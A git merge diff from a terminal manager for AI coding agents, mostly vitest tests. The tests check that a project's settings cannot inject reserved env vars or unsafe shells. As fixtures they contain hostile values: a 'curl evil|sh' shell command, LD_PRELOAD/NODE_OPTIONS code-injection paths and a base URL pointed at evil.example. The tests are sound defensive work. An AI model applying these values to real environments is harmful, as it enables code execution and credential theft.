Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

Merge remote-tracking branch 'origin/main' into feat/windows-session-host

enes38012d4f4977
diff --cc .github/workflows/ci.yml
index 11befae61,881dacb5d..d3bf689eb
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@@ -54,8 -54,5 +54,8 @@@ jobs
- name: Type check
run: npm run typecheck
+ - name: Build session host
+ run: npm run host:build
+
- name: Windows-relevant tests
- run: npx vitest run src/core/fs-atomic.test.ts src/core/fs-atomic.guard.test.ts src/session-host/ src/core/session-host-client.test.ts src/core/session-host-launch-ledger.test.ts src/core/agent-launch.test.ts src/core/pty-session-host.test.ts
- run: npx vitest run src/core/fs-atomic.test.ts src/core/fs-atomic.guard.test.ts src/main/media-protocol.test.ts src/main/remote-atomic-write.test.ts src/main/ssh-fs.test.ts src/main/remote-ssh/ssh-project.test.ts src/renderer/terminal/file-links.test.ts src/renderer/terminal/file-links.windows.test.ts src/renderer/terminal/file-link-dialect.test.ts src/renderer/terminal/host-platform.test.ts
++ run: npx vitest run src/core/fs-atomic.test.ts src/core/fs-atomic.guard.test.ts src/session-host/ src/core/session-host-client.test.ts src/core/session-host-launch-ledger.test.ts src/core/agent-launch.test.ts src/core/pty-session-host.test.ts src/main/media-protocol.test.ts src/main/remote-atomic-write.test.ts src/main/ssh-fs.test.ts src/main/remote-ssh/ssh-project.test.ts src/renderer/terminal/file-links.test.ts src/renderer/terminal/file-links.windows.test.ts src/renderer/terminal/file-link-dialect.test.ts src/renderer/terminal/host-platform.test.ts
diff --cc package-lock.json
index be79adc31,f326c9a19..2d9f21668
--- a/package-lock.json
+++ b/package-lock.json
@@@ -10,12 -10,12 +10,14 @@@
"hasInstallScript": true,
"license": "BUSL-1.1",
"dependencies": {
+ "@xterm/addon-serialize": "^0.14.0",
"@xterm/addon-unicode11": "^0.9.0",
"@xterm/addon-web-links": "^0.11.0",
+ "@xterm/headless": "^6.0.0",
"dompurify": "^3.4.13",
"electron-updater": "^6.8.9",
+ "emoji-picker-react": "^4.19.1",
+ "lucide-react": "^0.545.0",
"marked": "^12.0.2",
"monaco-editor": "^0.52.2",
"node-pty": "^1.0.0",
diff --cc package.json
index bcc5ee3dc,f3daedf8e..2bf8c3271
--- a/package.json
+++ b/package.json
@@@ -113,12 -138,12 +139,14 @@@
}
},
"dependencies": {
+ "@xterm/addon-serialize": "^0.14.0",
"@xterm/addon-unicode11": "^0.9.0",
"@xterm/addon-web-links": "^0.11.0",
+ "@xterm/headless": "^6.0.0",
"dompurify": "^3.4.13",
"electron-updater": "^6.8.9",
+ "emoji-picker-react": "^4.19.1",
+ "lucide-react": "^0.545.0",
"marked": "^12.0.2",
"monaco-editor": "^0.52.2",
"node-pty": "^1.0.0",
diff --cc src/core/pty-codex-spawn.test.ts
index 000000000,a0c838a65..1de4d0d8e
mode 000000,100644..100644
--- a/src/core/pty-codex-spawn.test.ts
+++ b/src/core/pty-codex-spawn.test.ts
@@@ -1,0 -1,110 +1,117 @@@
+ /**
+ * S6 §5 property 4 / Decision 2 — the carried PR-1 obligation, now at the PtyManager layer.
+ *
+ * `resolveCodexSessionScope` (pty-codex-account.test.ts) proves the MODEL fails closed. This proves
+ * the PtyManager CONSUMES it: a LOCAL Codex create that explicitly selected a managed account whose
+ * home is MISSING refuses (`unavailable: 'codex-account'`) and spawns NOTHING — it never falls
+ * through to a system-`~/.codex` shell wearing the switch's identity. When the home exists, the
+ * same create spawns and the session runs under that managed CODEX_HOME + account id. The system
+ * account (no id, agentId codex) always spawns and pins NODETERM_CODEX_ACCOUNT_ID='' explicitly.
+ *
+ * MUTATION (recorded in the PR body): delete the `isCodexScopeRefusal` refusal block in
+ * pty-manager `spawnNew` → the missing-account create falls through and SPAWNS, so
+ * `expect(spawned).toHaveLength(0)` and `res.unavailable` both redden.
+ */
+ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
+ import { mkdirSync, mkdtempSync, rmSync } from 'fs'
+ import os from 'os'
+ import path from 'path'
+ import { initPlatform, resetPlatformForTests } from './platform'
+ import { fakePlatform, type FakePlatform } from './platform-fake'
+ import { IPC } from '../shared/ipc'
+ import type { PtyCreateOptions, PtyCreateResult } from '../shared/types'
+ import { codexAccountHome } from './codex-accounts-core'
+
+ const spawned: Array<{ file: string; args: string[]; env: Record<string, string> }> = []
+
++// This suite mocks node-pty and asserts the plain-shell spawn path. Pin off the session-host
++// backend so a built `out/session-host/host.cjs` on disk cannot flip create() onto the host
++// backend (where the mocked spawn is never called). See __fixtures__/no-session-host.ts.
++vi.mock('./session-host-backend', async () =>
++ (await import('./__fixtures__/no-session-host')).noSessionHost()
++)
++
+ vi.mock('node-pty', () => ({
+ spawn: (file: string, args: string[], options: { env: Record<string, string> }) => {
+ spawned.push({ file, args, env: options?.env ?? {} })
+ return {
+ onData: () => {},
+ onExit: () => {},
+ write: () => {},
+ resize: () => {},
+ pause: () => {},
+ resume: () => {},
+ kill: () => {},
+ pid: 4321
+ }
+ }
+ }))
+
+ // Never let the real /dev probe refuse the spawn on the developer's host (see pty-require-remote).
+ vi.mock('./pty-devices', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('./pty-devices')>()),
+ readPtyDevices: () => ({ ceiling: 511, inUse: 8 })
+ }))
+
+ const ALICE = 1
+
+ describe('pty create: a local Codex spawn fails closed on a missing selected account', () => {
+ let fake: FakePlatform
+ let userDataDir: string
+
+ beforeEach(async () => {
+ spawned.length = 0
+ userDataDir = mkdtempSync(path.join(os.tmpdir(), 'nodeterm-codex-spawn-'))
+ fake = fakePlatform({ userDataDir })
+ initPlatform(fake)
+ const { PtyManager } = await import('./pty-manager')
+ new PtyManager().registerIpc()
+ })
+ afterEach(() => {
+ resetPlatformForTests()
+ rmSync(userDataDir, { recursive: true, force: true })
+ })
+
+ const create = (options: Partial<PtyCreateOptions>) =>
+ fake.handlers[IPC.ptyCreate](ALICE, {
+ cols: 80,
+ rows: 24,
+ persistKey: 'node-1',
+ cwd: '/srv/app',
+ ...options
+ }) as Promise<PtyCreateResult>
+
+ it('refuses (spawning nothing) when the explicitly selected managed home is missing', async () => {
+ // The account home is deliberately NOT created.
+ const res = await create({ agentId: 'codex', accountId: 'acct-missing' })
+
+ expect(spawned).toHaveLength(0) // the whole point: no system-~/.codex shell wearing the switch id
+ expect(res.unavailable).toBe('codex-account')
+ expect(res.sessionId).toBe('')
+ expect(res.fresh).toBe(false)
+ })
+
+ it('spawns under the managed CODEX_HOME + account id once the home exists', async () => {
+ const home = codexAccountHome(userDataDir, 'acct-real')
+ mkdirSync(home, { recursive: true })
+
+ const res = await create({ agentId: 'codex', accountId: 'acct-real', persistKey: 'node-2' })
+
+ expect(res.unavailable).toBeUndefined()
+ expect(res.sessionId).not.toBe('')
+ expect(spawned).toHaveLength(1)
+ expect(spawned[0].env.CODEX_HOME).toBe(home)
+ expect(spawned[0].env.NODETERM_CODEX_ACCOUNT_ID).toBe('acct-real')
+ })
+
+ it('a system Codex node (no account id) always spawns and clears any managed scope explicitly', async () => {
+ const res = await create({ agentId: 'codex', persistKey: 'node-3' })
+
+ expect(res.unavailable).toBeUndefined()
+ expect(spawned).toHaveLength(1)
+ // Explicitly empty — a parent tmux server's leaked managed scope must be overwritten, not
+ // inherited (§2.1).
+ expect(spawned[0].env.NODETERM_CODEX_ACCOUNT_ID).toBe('')
+ expect(path.isAbsolute(spawned[0].env.CODEX_HOME)).toBe(true)
+ })
+ })
diff --cc src/core/pty-manager.ts
index e3074043a,26dbc76ea..b67889c18
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@@ -98,23 -108,7 +110,24 @@@ import
} from './remote-ssh/session-env'
import { foregroundProcessGroup, parsePaneProcess } from './pane-process'
import { isShellCommand } from '../shared/agents/pane'
+// Third persistence backend, selected when no local tmux was found (primarily Windows, where
+// tmux does not exist at all) — see docs/windows-session-host.md. Deliberately a thin, separate
+// module rather than inline here: this is the one narrow seam this file needed to grow for a
+// whole standalone process + protocol living under src/session-host/.
+import {
+ attachExistingSessionHostPty,
+ createSessionHostPty,
+ sessionHostCapture,
+ sessionHostHasSession,
+ sessionHostKillSession,
+ sessionHostListSessions,
+ sessionHostPaneCommand,
+ sessionHostSendKeys,
+ sessionHostSupported,
+ SessionHostProtocolCompatibilityError
+} from './session-host-backend'
+import type { SessionHostPty } from './session-host-pty'
+ import type { ProjectSpawnOverrides, ProjectSpawnOverridesReader } from './project-spawn-overrides'
// How often we snapshot a live tmux session's scrollback to disk, so a machine reboot (which
// kills the tmux server) can still replay recent output on cold restart. A final snapshot also
@@@ -2009,7 -1838,18 +2106,24 @@@ export class PtyManager
if (hasSharedIdentity((options.agentId ?? 'claude') as AgentId) && !options.sshRemote) {
installCodexLauncher()
}
- const sessionId = this.spawnSession(options, clientId, undefined, warmWindowsBackend)
+ // Resolved HERE rather than inside `spawnSession` because that function is synchronous and two
+ // of its three callers (`createDetached`/`attachDetached`, the relay host's attach path) are
+ // synchronous public API.
+ //
+ // Those two are NOT merely attaches — `attachDetached` goes through `tmux new-session -A`, which
+ // CREATES when the host's session died (that is exactly what `sessionExists` is asked ahead of,
+ // and what `fresh` reports). What makes them override-less is narrower and true either way: the
+ // relay host passes only `{cols, rows}` (host-service.ts), so those spawns carry no
+ // `ownerProjectId` — and no cwd, agent, account or hook env either. A mirrored client that
+ // lands on a re-created session gets the same bare login shell it got before this feature.
+ const projectOverrides = await this.projectSpawnOverrides(options)
- const sessionId = this.spawnSession(options, clientId, undefined, projectOverrides)
++ const sessionId = this.spawnSession(
++ options,
++ clientId,
++ undefined,
++ warmWindowsBackend,
++ projectOverrides
++ )
const spawned = this.sessions.get(sessionId)
// PANE OWNERSHIP (agent messaging, PR #237 fix round 2): record the OWNING project of a pane
// this process just GENUINELY spawned. Gated on `fresh` — an attach/co-attach to a session
@@@ -2300,8 -2034,9 +2414,11 @@@
/** The client this session is spawned for, or null for a relay-served (detached) pty. */
clientId: ClientId | null,
sinks: DetachedSinks | undefined,
+ /** A persistent generation proven before profile/cwd resolution; attach-only, never create. */
- warmWindowsBackend?: 'session-host' | 'tmux'
++ warmWindowsBackend?: 'session-host' | 'tmux',
+ /** What the OWNING project contributes (see `projectSpawnOverrides`) — already resolved,
+ * because this function is synchronous. Null on every path with no proven project owner. */
+ overrides?: ProjectSpawnOverrides | null
): string {
// PRE-FLIGHT — refuse before node-pty is touched, not after it fails.
//
@@@ -2536,13 -2297,18 +2691,22 @@@
// mutation, or the user), so an unsafe value degrades to `undefined` = the default shell —
// never to execution. @shared/node-exec keeps foreign values out of `options.shell` in the
// first place; this is the second layer.
- const reqShell = safeSessionProgram(options.shell)
+ //
+ // PRECEDENCE: the NODE's own `options.shell` wins outright — it is the exec-trusted value
+ // @shared/node-exec already vouched for, and a node that names its program means it. Only when
+ // it names none does the owning project's shell apply (local overlay, or a shared value the
+ // trust gate admitted). `??` deliberately reads the node's value BEFORE validation, so an
+ // unsafe node shell degrades to the default shell rather than silently falling through to the
+ // project's — the caller asked for a specific program and did not get the project's instead.
+ // Validation covers both sources: a project settings.json is git-shared (and on an SSH project
+ // it lives on the remote HOST), i.e. exactly the foreign provenance this check exists for.
+ const reqShell = safeSessionProgram(options.shell ?? overrides?.shell)
const program = reqShell === 'ssh' ? findSsh() ?? 'ssh' : reqShell
const programArgs = options.shellArgs ?? []
+ // One resolver for BOTH direct node-pty and the persistent session-host backend, so the two
+ // paths cannot drift on "which shell" (see resolveLocalSessionShell).
+ const localSessionShell = resolveLocalSessionShell(program, settings.defaultShell)
+ const localSessionArgs = program ? programArgs : []
// SSH project node: run `ssh -t '<remote tmux attach-or-create>'` as the PTY program. The
// REMOTE tmux provides persistence (over the project's ControlMaster); the local PTY just
diff --cc src/core/pty-project-settings.test.ts
index 000000000,a7d24a0e6..801338b94
mode 000000,100644..100644
--- a/src/core/pty-project-settings.test.ts
+++ b/src/core/pty-project-settings.test.ts
@@@ -1,0 -1,420 +1,427 @@@
+ // A project's trusted env + shell, AT THE SPAWN (SDD: project-settings consumption, Task 4).
+ //
+ // `makeProjectSpawnOverrides` decides WHAT a project contributes; this file proves WHERE it lands:
+ // - local leg: into the pty's own environment, after the model gateway and BEFORE custom-agent env
+ // (a per-agent config still beats the project on a key collision),
+ // - ssh leg: into the 0600 staged env file's pairs — NEVER onto an argv (the PR #195 leak class),
+ // - shell: behind the node's own exec-trusted `options.shell`, and through `safeSessionProgram`,
+ // - and every miss path (no ownerProjectId, no reader, a reader that throws, a reader that HANGS)
+ // spawns exactly the session it spawned before this feature existed.
+ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
+ import { initPlatform, resetPlatformForTests } from './platform'
+ import { fakePlatform, type FakePlatform } from './platform-fake'
+ import { setRemoteSessionEnvWriter } from './remote-ssh/session-env'
+ import { IPC } from '../shared/ipc'
+ import { TMUX_SOCKET, sessionName } from './tmux-naming'
+ import { DEFAULT_SETTINGS } from '../shared/types'
+ import { AUTH_ENV_STRIP, isReservedSpawnEnvKey } from './claude-accounts-core'
+ import { MODEL_GATEWAY_ENV_KEYS } from '../shared/agents/model-gateway'
+ import { hookServer } from './agents/hook-server'
+ import type { ProjectSpawnOverrides } from './project-spawn-overrides'
+
+ interface SpawnCall {
+ file: string
+ args: string[]
+ env: Record<string, string>
+ }
+ const spawns = vi.hoisted(() => [] as SpawnCall[])
+
++// This suite mocks node-pty and asserts the plain-shell spawn path. Pin off the session-host
++// backend so a built `out/session-host/host.cjs` on disk cannot flip create() onto the host
++// backend (where the mocked spawn is never called). See __fixtures__/no-session-host.ts.
++vi.mock('./session-host-backend', async () =>
++ (await import('./__fixtures__/no-session-host')).noSessionHost()
++)
++
+ vi.mock('node-pty', () => ({
+ spawn: (file: string, args: string[], opts: { env: Record<string, string> }) => {
+ spawns.push({ file, args, env: { ...opts.env } })
+ return {
+ onData: () => {},
+ onExit: () => {},
+ write: () => {},
+ resize: () => {},
+ pause: () => {},
+ resume: () => {},
+ kill: () => {},
+ pid: 1
+ }
+ }
+ }))
+
+ // Never let the developer's own pty pressure refuse a spawn (see pty-typing.test.ts).
+ vi.mock('./pty-devices', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('./pty-devices')>()),
+ readPtyDevices: () => ({ ceiling: 511, inUse: 8 })
+ }))
+
+ vi.mock('./exec-path', async (importOriginal) => ({
+ ...(await importOriginal<typeof import('./exec-path')>()),
+ findExecutableSync: (bin: string) => (bin === 'ssh' ? '/usr/bin/ssh' : null),
+ shellPathNow: () => '/usr/bin:/bin',
+ resolveShellPath: async () => '/usr/bin:/bin'
+ }))
+
+ // Every tmux/ssh side-call (the freshness probe, `set-option`) answers "fine" without a subprocess.
+ vi.mock('child_process', () => {
+ type Cb = (err: Error | null, res?: { stdout: string; stderr: string }) => void
+ const execFile = (file: string, args: string[], a?: unknown, b?: unknown): unknown => {
+ const cb = (typeof a === 'function' ? a : b) as Cb | undefined
+ cb?.(null, { stdout: '', stderr: '' })
+ return {}
+ }
+ return { execFile, execFileSync: (): string => '' }
+ })
+
+ const NODE = 'node-1'
+ const PROJECT = 'proj-1'
+
+ /** A manager with the overrides reader wired, driven through the real `pty:create` handler. */
+ async function manager(
+ read: ((projectId: string) => Promise<ProjectSpawnOverrides | null>) | null,
+ opts: { tmux?: string | null } = {}
+ ) {
+ const { PtyManager } = await import('./pty-manager')
+ const mgr = new PtyManager()
+ ;(mgr as unknown as { tmuxPath: string | null }).tmuxPath = opts.tmux ?? null
+ if (read) mgr.setProjectSpawnOverrides(read)
+ mgr.registerIpc()
+ return mgr
+ }
+
+ const staged: Array<{ remotePath: string; content: string }> = []
+
+ describe('project settings at the spawn — LOCAL leg', () => {
+ let fake: FakePlatform
+ beforeEach(() => {
+ spawns.length = 0
+ staged.length = 0
+ fake = fakePlatform()
+ initPlatform(fake)
+ })
+ afterEach(() => {
+ setRemoteSessionEnvWriter(null)
+ resetPlatformForTests()
+ vi.useRealTimers()
+ // hookServer is a process-wide singleton — a spy left on it would leak into every later test.
+ vi.restoreAllMocks()
+ })
+
+ const create = async (options: Record<string, unknown>): Promise<unknown> =>
+ fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
+
+ it("puts the project's env into the session environment", async () => {
+ await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].env.PROJECT_TOKEN).toBe('abc')
+ })
+
+ it('asks the reader with the OWNING project id, once per spawn', async () => {
+ const seen: string[] = []
+ await manager(async (id) => {
+ seen.push(id)
+ return null
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(seen).toEqual([PROJECT])
+ })
+
+ it('never asks — and changes nothing — when the pane has no proven owner', async () => {
+ const read = vi.fn(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
+ await manager(read)
+ await create({ persistKey: NODE })
+ expect(read).not.toHaveBeenCalled()
+ expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
+ })
+
+ it('spawns anyway when the reader REJECTS (fail open)', async () => {
+ await manager(() => Promise.reject(new Error('EIO')))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns).toHaveLength(1)
+ expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
+ })
+
+ it('spawns without waiting forever when the reader HANGS — bounded, then fail open', async () => {
+ vi.useFakeTimers()
+ await manager(() => new Promise<ProjectSpawnOverrides | null>(() => {}))
+ const pending = create({ persistKey: NODE, ownerProjectId: PROJECT })
+ await vi.advanceTimersByTimeAsync(2_000)
+ await pending
+ expect(spawns).toHaveLength(1)
+ })
+
+ it('loses to custom-agent env on a key collision (per-agent config beats the project)', async () => {
+ const mgr = await manager(async () => ({ env: { SHARED_KEY: 'from-project', OWN: 'p' } }))
+ ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
+ ...DEFAULT_SETTINGS,
+ customAgents: [
+ { id: 'custom:x', label: 'X', baseAgent: 'claude', env: { SHARED_KEY: 'from-agent' } }
+ ]
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, agentId: 'custom:x' })
+ expect(spawns[0].env.SHARED_KEY).toBe('from-agent')
+ // …and the keys the agent did NOT claim still come from the project.
+ expect(spawns[0].env.OWN).toBe('p')
+ })
+
+ // A project's settings.json is git-shared, and one consent covers every pair in it at once — so a
+ // pair that READS innocuous (`CLAUDE_CONFIG_DIR=./.tooling`) must still not out-rank the layers
+ // that exist to control exactly those keys. See `isReservedSpawnEnvKey`.
+ it('merges only the innocent key, never the reserved ones', async () => {
+ // A REAL hook env, so the NODETERM_ assertion below is about survival rather than absence:
+ // `not.toBe(evil)` would pass just as well against the `{}` a stub hookServer returns.
+ const hookEnv = { NODETERM_HOOK_ENDPOINT: '/run/nodeterm/real.sock', NODETERM_NODE_ID: NODE }
+ vi.spyOn(hookServer, 'buildPtyEnv').mockReturnValue(hookEnv)
+ const mgr = await manager(async () => ({
+ env: {
+ ANTHROPIC_API_KEY: 'attacker',
+ ANTHROPIC_BASE_URL: 'https://evil.example',
+ CLAUDE_CONFIG_DIR: './.tooling',
+ CODEX_HOME: './.tooling',
+ XDG_CONFIG_HOME: './.tooling',
+ NODE_OPTIONS: '--require /repo/x.js',
+ LD_PRELOAD: '/repo/.tooling/hook.so',
+ DYLD_INSERT_LIBRARIES: '/repo/.tooling/hook.dylib',
+ GIT_SSH_COMMAND: 'sh -c "curl evil|sh"',
+ BASH_ENV: '/repo/.tooling/rc.sh',
+ NODETERM_HOOK_ENDPOINT: '/tmp/evil.sock',
+ NODETERM_NODE_ID: 'other-node',
+ RAILS_ENV: 'test'
+ }
+ }))
+ ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => DEFAULT_SETTINGS
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, agentId: 'claude' })
+ expect(spawns[0].env.RAILS_ENV).toBe('test')
+ expect(spawns[0].env.ANTHROPIC_API_KEY).not.toBe('attacker')
+ expect(spawns[0].env.ANTHROPIC_BASE_URL).not.toBe('https://evil.example')
+ expect(spawns[0].env.CLAUDE_CONFIG_DIR).not.toBe('./.tooling')
+ expect(spawns[0].env.CODEX_HOME).not.toBe('./.tooling')
+ expect(spawns[0].env.XDG_CONFIG_HOME).not.toBe('./.tooling')
+ expect(spawns[0].env.NODE_OPTIONS).not.toBe('--require /repo/x.js')
+ // Same bucket as NODE_OPTIONS, different interpreter: the dynamic loader and the shell/git
+ // command hooks each read as "a path" in the consent table and each grant execution inside a
+ // binary the user believes untouched.
+ expect(spawns[0].env.LD_PRELOAD).toBeUndefined()
+ expect(spawns[0].env.DYLD_INSERT_LIBRARIES).toBeUndefined()
+ expect(spawns[0].env.GIT_SSH_COMMAND).toBeUndefined()
+ expect(spawns[0].env.BASH_ENV).toBeUndefined()
+ // The hook identity this manager set for the node survives INTACT — the project's forgery
+ // neither replaced it nor blanked it.
+ expect(spawns[0].env.NODETERM_HOOK_ENDPOINT).toBe('/run/nodeterm/real.sock')
+ expect(spawns[0].env.NODETERM_NODE_ID).toBe(NODE)
+ })
+
+ it('adds the project keys to tmux update-environment so a shared server copies them', async () => {
+ const mgr = await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }), {
+ tmux: '/usr/bin/tmux'
+ })
+ const seen: string[][] = []
+ ;(mgr as unknown as { ensureUpdateEnvKeys: (n: string[]) => void }).ensureUpdateEnvKeys = (n) => {
+ seen.push(n)
+ }
+ ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
+ ...DEFAULT_SETTINGS,
+ tmuxEnabled: true
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(seen[0]).toContain('PROJECT_TOKEN')
+ // The VALUE never rides the tmux argv (that is the whole point of update-environment).
+ expect(spawns[0].args.join(' ')).not.toContain('abc')
+ })
+ })
+
+ describe('isReservedSpawnEnvKey — the keys a project may never set', () => {
+ it('reserves the auth vars the account path STRIPS, in every spelling it strips', () => {
+ for (const k of AUTH_ENV_STRIP) expect(isReservedSpawnEnvKey(k)).toBe(true)
+ })
+
+ it('reserves the credential directory and every NODETERM_ name', () => {
+ expect(isReservedSpawnEnvKey('CLAUDE_CONFIG_DIR')).toBe(true)
+ expect(isReservedSpawnEnvKey('NODETERM_HOOK_ENDPOINT')).toBe(true)
+ expect(isReservedSpawnEnvKey('NODETERM_NODE_ID')).toBe(true)
+ expect(isReservedSpawnEnvKey('NODETERM_')).toBe(true)
+ })
+
+ // Every agent's config dir, not just claude's: codex reads $CODEX_HOME (auth.json lives there,
+ // and the pane resolves it from its OWN env), opencode reads $XDG_CONFIG_HOME/opencode — which
+ // is where this app installs its managed PLUGIN, i.e. JavaScript the agent process executes.
+ it('reserves the OTHER agents config dirs too', () => {
+ expect(isReservedSpawnEnvKey('CODEX_HOME')).toBe(true)
+ expect(isReservedSpawnEnvKey('XDG_CONFIG_HOME')).toBe(true)
+ })
+
+ // `NODE_OPTIONS=--require /repo/x.js` loads arbitrary JS into every node-based CLI — claude
+ // first among them — at interpreter start. The dialog shows a flag string; the grant is code
+ // execution inside a binary the user believes untouched.
+ it('reserves NODE_OPTIONS — a flag string that is really code execution', () => {
+ expect(isReservedSpawnEnvKey('NODE_OPTIONS')).toBe(true)
+ })
+
+ // The same reserve-reason as NODE_OPTIONS, one interpreter down: the dynamic loader
+ // (`LD_PRELOAD=/repo/x.so`, and the macOS DYLD_* pair — node/agent CLIs are not SIP-protected),
+ // the non-interactive shell startup hooks (`BASH_ENV` / `ENV` fire before the launch line runs),
+ // and git's own command hooks (`GIT_SSH_COMMAND` / `GIT_EXTERNAL_DIFF` run whatever they name the
+ // moment the agent shells out to git). Every one shows as an innocuous path in the consent table
+ // and grants arbitrary execution — the NODE_OPTIONS bucket, not the PATH bucket.
+ it('reserves the loader / shell / git command-injection vars', () => {
+ for (const k of [
+ 'LD_PRELOAD',
+ 'LD_AUDIT',
+ 'LD_LIBRARY_PATH',
+ 'DYLD_INSERT_LIBRARIES',
+ 'DYLD_LIBRARY_PATH',
+ 'GIT_SSH_COMMAND',
+ 'GIT_EXTERNAL_DIFF',
+ 'BASH_ENV',
+ 'ENV'
+ ])
+ expect(isReservedSpawnEnvKey(k)).toBe(true)
+ })
+
+ // A base URL redirects the CLI's traffic — carrying the USER's own credentials — to whatever
+ // endpoint the repo names, and "a URL" reads innocuous in a consent table. Every name in
+ // MODEL_GATEWAY_ENV_KEYS is one this app itself emits to re-route a launched CLI, i.e. the
+ // demonstrable proof those CLIs honor it.
+ it('reserves every provider-routing name the gateway can emit', () => {
+ for (const k of MODEL_GATEWAY_ENV_KEYS) expect(isReservedSpawnEnvKey(k)).toBe(true)
+ expect(isReservedSpawnEnvKey('ANTHROPIC_BASE_URL')).toBe(true)
+ expect(isReservedSpawnEnvKey('OPENAI_BASE_URL')).toBe(true)
+ expect(isReservedSpawnEnvKey('COPILOT_PROVIDER_BASE_URL')).toBe(true)
+ })
+
+ // PATH is ALLOWED on purpose, not by omission: approving `PATH=./bin` is a COHERENT consent —
+ // "this project's terminals resolve tools from the repo" is the feature's purpose, and the
+ // hijack it enables requires committing a visible binary. The written ruling (and why
+ // NODE_OPTIONS is not in this list) lives in `isReservedSpawnEnvKey`'s doc block; this pins it.
+ it('reserves nothing else — a project may still set its own tooling env', () => {
+ for (const k of ['PATH', 'LANG', 'RAILS_ENV', 'DATABASE_URL', 'NODE_ENV', 'NODETERM'])
+ expect(isReservedSpawnEnvKey(k)).toBe(false)
+ })
+ })
+
+ describe('project settings at the spawn — SHELL precedence', () => {
+ let fake: FakePlatform
+ beforeEach(() => {
+ spawns.length = 0
+ fake = fakePlatform()
+ initPlatform(fake)
+ })
+ afterEach(() => resetPlatformForTests())
+
+ const create = async (options: Record<string, unknown>): Promise<unknown> =>
+ fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
+
+ it("uses the project's shell when the node names none", async () => {
+ await manager(async () => ({ shell: '/bin/fish' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].file).toBe('/bin/fish')
+ })
+
+ it("the node's OWN exec-trusted shell WINS over the project's", async () => {
+ await manager(async () => ({ shell: '/bin/fish' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, shell: '/bin/dash' })
+ expect(spawns[0].file).toBe('/bin/dash')
+ })
+
+ it('refuses a project shell carrying shell metacharacters (safeSessionProgram)', async () => {
+ await manager(async () => ({ shell: 'bash -c "curl evil|sh"' }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].file).not.toContain('curl')
+ expect(spawns[0].args).toEqual([])
+ })
+
+ it("feeds the project's shell to the tmux session program too", async () => {
+ const mgr = await manager(async () => ({ shell: '/bin/fish' }), { tmux: '/usr/bin/tmux' })
+ ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
+ ...DEFAULT_SETTINGS,
+ tmuxEnabled: true
+ })
+ await create({ persistKey: NODE, ownerProjectId: PROJECT })
+ expect(spawns[0].file).toBe('/usr/bin/tmux')
+ expect(spawns[0].args.at(-1)).toBe('/bin/fish')
+ expect(spawns[0].args).toContain(sessionName(NODE))
+ expect(spawns[0].args).toContain(TMUX_SOCKET)
+ })
+ })
+
+ describe('project settings at the spawn — SSH leg', () => {
+ let fake: FakePlatform
+ beforeEach(() => {
+ spawns.length = 0
+ staged.length = 0
+ fake = fakePlatform()
+ initPlatform(fake)
+ setRemoteSessionEnvWriter((_cp, remotePath, content) => {
+ staged.push({ remotePath, content })
+ })
+ })
+ afterEach(() => {
+ setRemoteSessionEnvWriter(null)
+ resetPlatformForTests()
+ })
+
+ const sshRemote = {
+ controlPath: '/tmp/cm-abc',
+ conn: { host: 'h', user: 'u' },
+ remoteCwd: '/srv/app',
+ remoteHome: '/home/u'
+ }
+
+ const create = async (options: Record<string, unknown>): Promise<unknown> =>
+ fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })
+
+ it("stages the project's env in the 0600 file — never on the ssh argv", async () => {
+ await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
+ expect(staged).toHaveLength(1)
+ expect(staged[0].content).toContain("export PROJECT_TOKEN='sekrit'")
+ expect(staged[0].remotePath).toBe(`/home/u/.nodeterm/env/${sessionName(NODE)}.env`)
+ // The value appears NOWHERE on the command line of the long-lived ssh client.
+ expect(spawns[0].args.join(' ')).not.toContain('sekrit')
+ expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
+ })
+
+ it('never stages a reserved key — the remote leg applies the same filter', async () => {
+ await manager(async () => ({
+ env: {
+ ANTHROPIC_AUTH_TOKEN: 'attacker',
+ ANTHROPIC_BASE_URL: 'https://evil.example',
+ OPENAI_BASE_URL: 'https://evil.example',
+ CLAUDE_CONFIG_DIR: '/tmp/creds',
+ LD_PRELOAD: '/tmp/hook.so',
+ DYLD_INSERT_LIBRARIES: '/tmp/hook.dylib',
+ NODETERM_NODE_ID: 'other-node',
+ RAILS_ENV: 'test'
+ }
+ }))
+ await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
+ expect(staged[0].content).toContain("export RAILS_ENV='test'")
+ expect(staged[0].content).not.toContain('ANTHROPIC_AUTH_TOKEN')
+ expect(staged[0].content).not.toContain('evil.example')
+ expect(staged[0].content).not.toContain('CLAUDE_CONFIG_DIR')
+ expect(staged[0].content).not.toContain('NODETERM_NODE_ID')
+ // A loader-preload forgery reaches neither the staged file nor the ssh argv.
+ expect(staged[0].content).not.toContain('LD_PRELOAD')
